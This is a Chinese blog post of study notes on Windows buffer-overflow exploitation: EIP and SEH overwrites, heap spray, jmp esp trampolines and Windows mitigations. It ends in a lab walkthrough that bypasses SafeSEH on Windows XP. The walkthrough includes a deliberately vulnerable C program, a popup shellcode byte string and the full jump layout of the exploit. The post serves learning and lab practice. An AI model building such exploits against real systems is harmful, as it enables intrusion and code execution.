《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考

I will Make Impossible To I'm possible

                    -----------LittleHann

 

看了2个多星期。终于把0DAY这本书给看完了,自己动手将书上的实验一个一个实现的感觉很不错,在学习的过程中,也增加了自己的信心。

这里希望做一个小小的总结,不是想说明自己有多牛逼,只是觉得学习应该是一个常思考,常总结的过程,分享一些学习overflow shellcode的学习新的。希望大神路过不要嘲笑我,因为每个人都是这么过来的,如果有幸能看别人有所收获,那就太好了,一下全是自己的思考和看法,难免有偏颇,希望不吝指正。

1. 关于overflow

对于缓冲区溢出的原理和实现,看雪上有很多帖子,我就不过多卖弄了。我就说说自己的理解:

1.1 首先,要理解的问题的关键在CPU的执行机制,无论何时,CPU总是机械的根据EIP指向的地址去执行(系统中有3类总写,指令总线,地址总线,数据总线)。即CPU总是依据EIP指向的地址去执行下一条指令。也就是说如果我们能控制了EIP,就可以控制CPU,那什么时候我们能控制EIP呢,应该就是在函数结束的时候

ret这条指令会执行 pop eip jmp eip

如果我们通过传入超长字符串覆盖了EIP的这段栈空间,也就是控制了EIP,那CPU下一步就可以执行我们的shellcode了。

这张图是一般的程序的栈空间,我们能控制的变量一般是在局部变量那个位置,我们溢出攻击的时候一般先用90等junk填充,然后计算出buf的起止位置和到EIP的offset。然后布置shellcode。

 

1.2 覆盖SEH指针

我们都知道SEH机制是windows为了解决程序出错时提供一次补救的机会。

发生异常时系统的处理顺序(by Jeremy Gordon):

    1.系统首先判断异常是否应发送给目标程序的异常处理例程,如果决定应该发送,并且目标程序正在被调试,则系统
    挂起程序并向调试器发送EXCEPTION_DEBUG_EVENT消息.呵呵,这不是正好可以用来探测调试器的存在吗?

    2.如果你的程序没有被调试或者调试器未能处理异常,系统就会继续查找你是否安装了线程相关的异常处理例程,如果
    你安装了线程相关的异常处理例程,系统就把异常发送给你的程序seh处理例程,交由其处理.

    3.每个线程相关的异常处理例程可以处理或者不处理这个异常,如果他不处理并且安装了多个线程相关的异常处理例程,
        可交由链起来的其他例程处理.

    4.如果这些例程均选择不处理异常,如果程序处于被调试状态,操作系统仍会再次挂起程序通知debugger.

    5.如果程序未处于被调试状态或者debugger没有能够处理,并且你调用SetUnhandledExceptionFilter安装了最后异
    常处理例程的话,系统转向对它的调用.

    6.如果你没有安装最后异常处理例程或者他没有处理这个异常,系统会调用默认的系统处理程序,通常显示一个对话框,
    你可以选择关闭或者最后将其附加到调试器上的调试按钮.如果没有调试器能被附加于其上或者调试器也处理不了,系统
    就调用ExitProcess终结程序.

    7.不过在终结之前,系统仍然对发生异常的线程异常处理句柄来一次展开,这是线程异常处理例程最后清理的机会.

再回过头来看我们上面那张图,发现SEH也注册在栈中,栈作为函数间调用的一种处理调度机制,如果我们控制栈中的内容,不久可以控制SEH的调度了吗?进而人工出发出故障,使SEH处理流程转入我们的shellcode。

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
       struct _EXCEPTION_REGISTRATION_RECORD *Next;
       PEXCEPTION_ROUTINE Handler;
    
} EXCEPTION_REGISTRATION_RECORD;

下面是我在学习SEH的关于故障的一些学习笔记:

异常的类型:
异常ECF可以分为四类:中断(interrupt)、陷阱(trap)、故障(fault)和终止(abort)
1. 中断:
中断是异步发生的,是来自处理器外部的I/O设备的信号的结果。硬件中断不是由任何一条专门的指令造成的,从这个意义上来说它是异步的。硬件中断的异常处理程序通常称为“中断处理程序(interrpt handler)”。
在当前指令完成执行之后,处理器注意到中断引脚的电压变高了,就从系统总线读取异常号,然后调用适当的中断处理程序。当处理程序返回时,它就将控制返回给下一条指令,结果程序继续执行,就好行没有发生过中断一样。从某种程序上来说,中断(或者叫硬件中断)是一种正常行为,因为I/O是很正常的。

2. 陷阱
陷阱是有意的异常,是执行一条指令的结果。陷阱程序处理完毕后,将控制返回到下一条指令。
陷阱最重要的用途是在用户程序和内核之间提供一个像过程一样的接口,叫“系统调用”。
ntdll.dll就是使用陷阱机制从user mode穿越到kernel mode。

3. 故障
故障由错误情况引起,它可能能够被故障处理程序修正。当故障发生时,处理器将控制转移给故障处理程序。如果处理程序能够修正这个错误情况,它就将控制返回到引起故障的指令,从而重新执行它
故障包括:缺页异常,当指令引用一个虚拟地址,而与该地址相对应的物理页面不在存储器中,因此必须从磁盘中取出时,就会发生缺页异常。缺页处理程序从下级缓存加载适当的页面,然后将控制返回给引起故障的指令,当指令再次执行时,相应的物理页面已经驻留在存储器中了,指令就可以没有故障地运行完成了。除0异常也算一种故障。

4. 终止
终止是不可恢复的致命错误造成的结果,通常是一些硬件错误(这里要和硬件中断区分开,硬件中断是一种CPU机制,是正常的)
,而硬件错误比如DRAM,SRAM位被损坏时发生的奇偶错误。终止处理程序从不将控制返回给应用程序。处理程序将控制返回给abort例程,该例程会终止这个应用程序。

也就是说,我们要做的就是覆盖这个PEXCEPTION_ROUTINE Handler,然后触发一个故障,让程序转入我们的shellcode执行,当然,这里还要考虑到SafeSEH和SEHOP机制

这本书 A_Crash_Course_on_the_Depths_of_Win32_Structured_Exception_Handling 讲SEH相当不错,深入浅出。

http://pan.baidu.com/share/link?shareid=2499703652&uk=2248499941

 

1.3 其他利用方式

我目前接触的就主要是EIP和SEH利用方式了。

其他方面的有多用在浏览器上的Heap Spray技术:

利用js或其他脚本申请到大量和内存块:(90.................................90 + shellcode)...................(90.................................90 + shellcode)

采取这种地毯式的覆盖技术,使0x0C0C0C0C落在90的概率达到很高的概率,然后slide过90nop,执行shellcode。

还有就是覆盖虚函数指针的方法,我感觉这也是一种二次间接寻址利用类型的方法,而且条件比较苛刻,前提是程序中要使用虚函数。

 

2. 跳板技术的理解

关于一些跳板指令的使用和原理,也很有意思。刚开始的时候,确实感觉有些难以理解

2.1 jmp/call esp

咋看一下,这个指令本身没啥特别,但是放到它的利用场景就有大用处了。这个最普遍的利用场景是放在EIP的位置。根据堆栈平衡原理,函数在执行完之后,ESP应该降低到和EBP的位置,然后执行ret。

也就是说这个时候esp指向的位置一定为EIP下面一个位置,这是一种相对定位,也是跳板利用的思想。不管栈帧怎么移动,这种相对顺序是不会变的。我们可以利用这种特性把shellcode放置在jmp esp后面

9090....................90 + jmp esp + shellcode

2.2 相对跳板

有的时候我们用跳板跳进的shellcode中还含有之前在地址覆盖的时候需要的一些参数信息,这些地址在CPU执行的时候会造成不可预知的指令执行结果。

这个时候有两种思路:

1. 用相反的指令去抵消它

2. 用相对跳转指令跳过这段干扰指令

 

3. shellcode中调用函数

比如在绕过DEP的时候要调用VirtualAlloc函数来申请一段有可执行权限的内存空间,让shellcode在里面执行。

这里有个理解上的问题是怎么布置栈帧,我们要从汇编和函数调用的本质上理解。

函数调用说白了就是push params call。之后在子函数中就可以通过[EBP + 4N]来引用参数了。所以我们只要能布置好下面的栈空间,就可以调用函数

param1

param2

..

paramN

call func

这种方法用在ret2libc(也叫rop chain)方法中比较多。

 

4. windows的各种安全机制

从win2000到win7,windows的安全机制不断再提供,各种安全机制很多,要熟悉记住这些安全机制的对应的版本很重要。这样才能在不同的场景中考虑到所有的例外情况。

下面是根据ODAY做的一个总结:

windows2000:基本没有什么安全机制,是很好的实验靶机

XP:GS(安全cookie) + 变量重排(在编译时将字符串变量移动到高地址,防止字符串溢出破坏其他的局部变量)  + SafeSEH(SEH句柄验证) + 堆保护(安全拆卸,Heap Cookie) + DEP(NX支持) + ASLR(仅对PEB,TEB进行随机化)

windows2003:GS(安全cookie) + 变量重排(在编译时将字符串变量移动到高地址,防止字符串溢出破坏其他的局部变量)  + SafeSEH(SEH句柄验证) + 堆保护(安全拆卸,Heap Cookie) + DEP(NX支持) + ASLR(仅对PEB,TEB进行随机化)

windows vista:GS(安全cookie) + 变量重排(在编译时将字符串变量移动到高地址,防止字符串溢出破坏其他的局部变量)  + SafeSEH(SEH句柄验证) + 堆保护(安全拆卸,Heap Cookie,安全快表,元数据加密i) + DEP(NX支持,永久DEP,默认OptOut) + ASLR(PEB,TEB随机化,堆,栈随机化,映像加载基址随机化)

windows 7:GS(安全cookie) + 变量重排(在编译时将字符串变量移动到高地址,防止字符串溢出破坏其他的局部变量)  + SafeSEH(SEH句柄验证) + 堆保护(安全拆卸,Heap Cookie,安全快表,元数据加密i) + DEP(NX支持,永久DEP,默认OptOut) + ASLR(PEB,TEB随机化,堆,栈随机化,映像加载基址随机化)

 

以上就是我自己的一些学习心得和总结,下面通过一个实验,详细的了解一些shellcode溢出的攻击过程。

1. 攻击目标

绕过SafeSEH:

通过这张图,我们可以看到。要绕过SafeSEH有三种方法(实际上算上堆溢出有四种)。

1. 异常处理函数位于加载模块(指当前进程和dll模块)内存范围之外,DEP关闭

2. 异常处理函数位于加载模块内存范围之内,对应模块未启动未启用SafeSEH(安全SEH表为空),同时相应模块不是纯IL

3. 异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在安全SEH表中

4. SEH中的异常处理指针指向堆区,即使安全校检发现了SEH不可信,仍然会调用其已经被修改过的异常处理函数。

实验的方法:利用加载模块之外的地址绕过SafeSEH

环境: windows XP 3(关闭DEP)  Visual Studio 2008    编译禁用优化   release版本

 

DEMO code:

#include <windows.h>
#include <string.h>
#include <stdio.h>

char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90"
;

/*
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x0B\x29\x00";//address of jmp code
*/

DWORD MyExceptionhandler(void)
{
    printf("There is an exception\n");
    getchar();
    return 1;
}

void test(char * input)
{
    char buf[200];
    int zero=0;
    strcpy(buf,input); //overrun the stack
    //__asm int 3; //used to break process for debug
    __try
    {  
        zero=1/zero; //generate an exception    
    }
    __except(MyExceptionhandler()){}    
}

int main()
{
    test(shellcode);    
    return 0;
}
 我们用90填充199个,以为字符串会自动加上一个\x00,所以刚好200个。

设下断点,OD之后。用SafeSEH插件,查看。

所有的模块都开启了SafeSEH,所以我们只能从加载模块之外寻找跳板指令。

用OllyFindAddr插件寻找 call/jmp dword prt [ebp+N]。

寻找的的是:  call [ebp+0x30] :0x00280b0b

因为地址中包含着00,会被strcoy当成截断符。所以我们不能把shellcode布置在跳板地址后面,只能不知在前面。这也就引出了接下来要介绍的2次跳板技术。

我们通过2字节的相对跳转指令EBXX回跳一定的字节,再在那个位置放置一个长跳转指令,最终跳到shellcode起始的位置

通过查看buf到SEH之间的距离,布置shellcode进行探测。90...90(220) + call [ebp + 0x30]地址。除0后跳到我们指定的异常处理函数处。

这里也是最神奇的地方。我们把EBP + 0x30发现它的地址就是SEH NEXT的位置。

这里我是这么理解的,因为SEH chain可以理解是一个连续处理的函数过程,如果上一个SEH Handler不能处理这个异常。

返回ExceptionContinueSearch 表示:“我没有处理此异常,请你继续搜索其他的解决方案,抱歉”。

那系统就要继续顺着链继续寻找下一个可以处理的SEH Handler,这本质上就是一个函数栈帧切换的过程,所以EBP记录着下一个SEH的地址也不奇怪了。我目前只能理解这么多了,详细的也想不明白,如果有大神知道的话不吝赐教。

所以,我们在SEH NEXT的位置放置一个短跳转的机器码:0XEBF6 向后回跳10个字节(因为jmp指令在采用相对地址跳转的时候是以jmp下一条指令的地址为基准的,而jmp本身2个字节,所以在回跳的时候要将短跳转的指令的2字节算进去),接着再在前面8字节的位置放置长跳转指令:0xE92BFFFFFF 回跳213个字节(算进长跳转的长度)

总结一下:shellcode

shellcode(208 bytes) + 长跳转(8 bytes) + 短跳转(4 bytes) + 跳板指令(4 bytes)。空的地方用90补足。

调试后如下:

F8运行后,一切正常,控制流来到了我们的shellcode的起始位置,现在把90替换成我们的执行shellcode就可以了。

这里用failwest的弹框的shellcode,一路下来,和它的感情太深了...

如果换成别的bindshell就可以实现获得shell的功能。

实验中可能栈空间的地址会变换,但是也能工作良好,这就充分体现了跳板的强大之处。

做的时候发现在OD调试一步一步的可以弹出框,如果直接双击程序,就什么都没出来。我的理解应该是OD中开启了特殊模式,导致那段栈空间可以执行,而在普通情况下,由于DEP的关系,导致执行失败。

也就是说,最好的方法用绕DEP的方法去做这个实验。DEP以及更高深的问题准备留待以后下一进阶阶段再开始学习。这段时间的缓冲区就到这里了。接下来的一段时间准备专心研究内核方面的知识,刚好也把ODAY上那一章讲内核漏洞的一并阅读了。

 

还有就是希望后天的ISCC决赛面试能顺利,一定要加油进绿盟。到北京去和那些大神比比看。

希望以后也能一直保持这个习惯,常总结,常思考。继续潜心研究一些东西。不断进步吧,小白的一点感想,希望大神不要见笑

posted @ 2013-07-08 14:32  郑瀚Andrew  阅读(2651)  评论(4编辑  收藏  举报